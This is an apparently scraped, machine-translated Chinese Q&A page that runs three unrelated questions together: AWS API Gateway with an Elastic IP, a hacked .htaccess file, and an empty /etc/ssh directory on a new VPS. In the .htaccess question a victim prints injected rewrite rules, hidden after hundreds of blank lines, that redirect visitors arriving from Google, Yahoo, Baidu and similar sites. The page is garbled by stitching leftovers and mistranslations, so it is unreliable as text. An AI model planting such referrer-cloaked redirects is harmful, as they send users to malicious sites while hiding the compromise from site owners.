我想要一个 API 网关来充当代理,它代表我的 AWS 资源(Lambda、EC2 等)与带有附加令牌的外部 API(我们称之为 E-API)对话。
但 E-API 只接受来自某些事先约定的白名单 IP 的请求。
所以我们得到了一个弹性 IP,但我对如何将 IP 与我的 API 网关相关联感到有点困惑:这样当它向 E-API 发送 HTTP 时,它就会将自己标识为从弹性 IP 中出现。
我曾尝试查看 VPC 和 Route53 的设置,但需要有关如何前进的帮助?
大约 4 或 5 天前,一个客户回复我说他们的网站被从谷歌、雅虎等重定向到其他一些可疑的网站,但是当用户在浏览器地址中输入网站 URL 时它工作正常直接酒吧。
我尝试联系我的托管服务提供商,但他们一开始几乎没有帮助,然后似乎需要很长时间才能找出问题所在。
等待让我感到沮丧,我开始寻找发生了什么。在谷歌上搜索了一些解决方案后,我发现我的 .htaccess 文件被黑了。
什么是:
<Files *>
Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0"
Header set Expires: 0
Header set Pragma: no-cache
</Files>
Run Code Online (Sandbox Code Playgroud)
已经变成
<Files *>
Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0"
Header set Expires: 0
Header set Pragma: no-cache
</Files>
//several hundred empty lines later
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR] …
Run Code Online (Sandbox Code Playgroud) 我从 DigitalOcean 部署了一个新的 VPS。它安装了 SSH,但是 /etc/ssh/ssh_config 文件不存在。确实 /etc/ssh/ 是完全空的。
我可以继续创建该文件并输入我想要的指令,或者这是否表明有问题?我应该重新安装SSH吗?